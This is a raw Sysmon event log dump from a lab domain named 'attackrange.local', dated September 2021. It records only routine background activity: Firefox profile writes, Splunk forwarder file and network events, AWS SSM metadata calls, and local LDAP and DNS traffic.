Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=FEE21AC0A0720644FDF28DC349653A07,SHA256=EB9C65463F695230ADABA52D457D3E7D229B226F3CAC86D3D72B1D66E87EF6DE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:45.830{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=673E0192AF5BAAF6752A99913A3104AF,SHA256=E82A8B02E5BAB7ADE241781D8CEDEC437304F9C1678D6A89B645CEEE861F3F45,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:45.828{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=8184DCC9D90635968E578A9CB302A0B5,SHA256=48BCF87AA378B55590874792BC20BCEE82285559C1F940D99258EE1EEDB8B23D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:45.827{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=CC574980AFD096D722E6846660D0C8D7,SHA256=29D1A3B954390B37DF29EF62430A882ED1FD74040E72141C1D9B8839D9AEE2E1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:45.099{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E63364F2E25AE64861A3C5DFC1B09E15,SHA256=3AE3447ED03361B8A4B6D42EE80A10E343A44002859E240B3FBE44EF7139623D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:46.331{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=627604E0F38ABC123160B42043EDFD97,SHA256=4537113EF2F6D6A6E8D17FEEBA664012850B200EDE6113228A2432293612F42C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016462Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:46.253{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6510340026A081FB1BE4F1D1A6F885E8,SHA256=00A8F9DB90A9BDB7A54E80CA0E4E4ACC235965497D31787F5DE522999A2DC62E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:47.564{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1506A575A1D0B28BA4DFD4587DDFC757,SHA256=3AD5B36341978CF42E10650A343B6F4B0BA1553EC37BCF4E74671DB2F72EE433,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016463Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:47.394{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=461F357F2DA9F0890A216C977255A8B9,SHA256=C337D1D1182E57F1072148F7A4BB16ABA7A90FD89CCFABE160C9425C3CB01444,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:46.434{7BD73061-65C1-613B-4300-00000000F001}3588C:\Program Files\Amazon\SSM\ssm-agent-worker.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59582-false169.254.169.254-80http 354300x800000000000000051374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:46.339{7BD73061-65C1-613B-4300-00000000F001}3588C:\Program Files\Amazon\SSM\ssm-agent-worker.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59581-false169.254.169.254-80http 354300x800000000000000051373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:46.303{7BD73061-65C1-613B-4300-00000000F001}3588C:\Program Files\Amazon\SSM\ssm-agent-worker.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59580-false169.254.169.254-80http 354300x800000000000000051372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:46.302{7BD73061-65C1-613B-4300-00000000F001}3588C:\Program Files\Amazon\SSM\ssm-agent-worker.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59579-false169.254.169.254-80http 23542300x800000000000000051371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:48.795{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=58803FABC139E6F249C1523E9F5FDAD2,SHA256=845DC21B5A687095A700C63AA47A1B210FECC8813CBA40EA65258801EA957A6C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016464Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:48.503{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=015F37D8FDBB69C580784F01DD95C4DD,SHA256=46962374880D2B738A6554E78618F7917AEE58C05FD62A0B96118296AE27A518,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:49.838{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=408E42E8A9D107BEBBE7D75049E552CB,SHA256=4B7D2D046FE96D3788B3B3C91D6D2AF970B3F55D5373EB16C2EAC6F5E807032C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016465Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:49.519{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=539901E95654997F570653D709C9FA25,SHA256=0BAE4C535F12054877DCFFBEC9FE007671E3161FEF3767A38299AF1C2275DB66,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:50.844{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5060D408CA5F6128098E74E978DFE74D,SHA256=9E1E9758A36759E8D5CCD67B343F784B0A616F83ECBE1F288EBB5CFC674C4AD2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016467Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:50.550{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=12BE30C3E694DC1D7812A9984E03C198,SHA256=2EC497510657718FB60983E3F8E9A2AA41959EB9770D86E335C106BBEBE6E986,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:50.840{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=A289FE9EF2CEF5EB8636D1C208E57C13,SHA256=B10D9ACDFE591632698D1F0DA2120E38602C8F6829AF2105ACA06E7FB082BDC8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:50.839{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=FD4EBCE30DCFFA1AA4CC168442B54473,SHA256=1A97FA96B9E1470C3438FC28E34DE12B941F0C9B664FA2937530F35C27CDFCDF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:50.839{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=C11861A939DFBC014E0515E0768D283A,SHA256=B0278D100818F9CC0E6AFD15B3247DDCD04DEE84396FBCD1508F45934E480D2D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:50.837{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=8C3C048DB2AF259527F8197EBBD33E76,SHA256=C0AFA5AFF48D38DAEDE8084784FD923607C721E0A9E87FAF3BA4F31F77EF6563,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:50.836{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=48E685F6C2DA5F857F0B30FE8D51C248,SHA256=5773ED3CD06954EA4D31E63161BAD1A2AB754229035D05DE410420DDF32F69C4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016466Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:48.388{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50291-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000051383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:51.864{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F9AAC4A68722047F7386CCFC1083DE08,SHA256=3C00411CD269B94C1D753A193768E953640CCEBA1E4A4DDB56E0596D0152B8DB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016468Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:51.638{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1E246FF9B4340E6CDCF9E06A9E33CACF,SHA256=9CD0AA7A13E96A48BEA1791B14DF92A568DE5722B83252459DDCB25CF75DE315,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016469Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:52.654{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CA218B22A52E174ABFB68066D782DBAC,SHA256=FE1108A697B3EA2EA65480E4035CEC26A87EA7BF8EF6EFA7B3B9B7348E8B824B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:49.354{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59583-false10.0.1.12-8000- 23542300x800000000000000051384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:52.884{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8EBE415DBCA7F5701C58BE4739DD4B58,SHA256=65F3F82226D405546113BB0601370FFE42B20D8F9464C8373376DA29505337F3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:53.913{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:53.886{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=31F43ADC097795EFF7CF6A4E49156692,SHA256=A490AF66E2545C6D6FC8CEB8E805710F507E5BC496B9EA7F3B399904A53AD9CD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016470Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:53.669{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A232279E3D5FAC9C0EE5888C7FFA07EA,SHA256=1AE9A17B7B86C1A4C3250E5CE4EB9CCD1B4909E629A052C4089EA613CD2D5C6B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:54.904{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=38451AE7F8C641A4A8C5921F82642F28,SHA256=4C41263D811DD12DA7E21F6376BE2C1979EC0D9F84CB3F39C5B284331B16585C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016471Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:54.716{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=17ED4ADF7B8D01CAFFF68781B6573B64,SHA256=A6073E4A2AA576AFD2BE6D4AA225A24FFD0642E51EC7E577A99C29F78320DE1C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:54.650{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016474Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:55.779{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8C325A72961E5BE2A550100378326A64,SHA256=82D24786184C720E520AB66FBBC38D4E9B2C9728E92C1B59D39C0315891245B0,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016473Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:53.413{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50292-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016472Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:55.013{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016475Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:56.794{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=27554FF4E941A4E1827E8F56A3E8B965,SHA256=D05C792894BFDACFF643B280DF23145050314BFDB4368BA74E3598C092179DC9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:56.135{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D41531CB60C917CA763B426A5BFE48D7,SHA256=761548284BFDADD4E05AFAD62F5718ABE062E3A218B69FFD908AEE952C984E58,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016477Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:57.857{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F9A1ECABF65BD0931FBE2EB24DCCFD5A,SHA256=E1B737BDB5567A32602BD888CE058E68CA8B663468D56D46424A7EA8138C8172,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:57.979{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\fishbucket\splunk_private_db\snapshot.old\snap.datMD5=FD6CE632343AF178CF6259807BEDCAA7,SHA256=44BDB4E359C295905B3142C866C827A958620079237FC73410AD192B522AFEE9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:57.978{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\fishbucket\splunk_private_db\snapshot.old\btree_records.datMD5=EEDC9FF5E7F2D31913516146FAE86984,SHA256=C6F32341DCDE294EC4991D149566D83CE3797A32BA440A8045E1A87E17F1B7DD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:57.978{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\fishbucket\splunk_private_db\snapshot.old\btree_index.datMD5=7657411E92B17ADBBD955B4BCD36DE67,SHA256=7703B0A9147988CAC10DB625BE725FBA67D72DFB0B2FF0532C6BC0AD67F6166F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000051392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:54.523{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59584-false10.0.1.12-8000- 23542300x800000000000000051391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:57.365{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F13C08EF566FD08EC6DFED5BD00187C0,SHA256=2177E474E8AA0A5C92CC63E3B54191B45A5F47094B31BB806ECA664CBDD9BFE6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016476Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:55.320{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50293-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000016478Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:58.888{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=26A30DE0110C13ADA96469126CF327B3,SHA256=05EFA45032284C1DF74B4F424EA2E72A43618501E9E5A1C06F96C0B9F018811F,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000051397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:58.447{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeC:\Windows\System32\OnDemandConnRouteHelper.dll10.0.14393.4169 (rs1_release.210107-1130)On Demand Connctiond Route HelperMicrosoft® Windows® Operating SystemMicrosoft CorporationOnDemandConnRouteHelper.dllMD5=BAE78E97BEBB832376654560305922E3,SHA256=6A188DC4F1005E46CCA529E9C757D9B3B5F98E5587AFAA5E4200C7DD2AC73355,IMPHASH=FE994282C73F9AB11AC9B6E37AC26B47trueMicrosoft WindowsValid 23542300x800000000000000051396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:58.372{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BAA495E32472D200AE73809B46F58D7E,SHA256=463867095287A53477A7F2DE660D5CB9D4F838BB434004A211EEE0F2527E7514,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000051403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:57.756{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56940- 354300x800000000000000051402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:57.644{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59586-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000051401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:57.644{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59586-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000051400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:59.574{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=76C46060BC21675CE1ADCF4DE321439F,SHA256=36A8C43548EA43F075C59222BCDB41E2C88E51B326BB2CECD7F4A046F956E913,IMPHASH=00000000000000000000000000000000falsefalse - insufficient 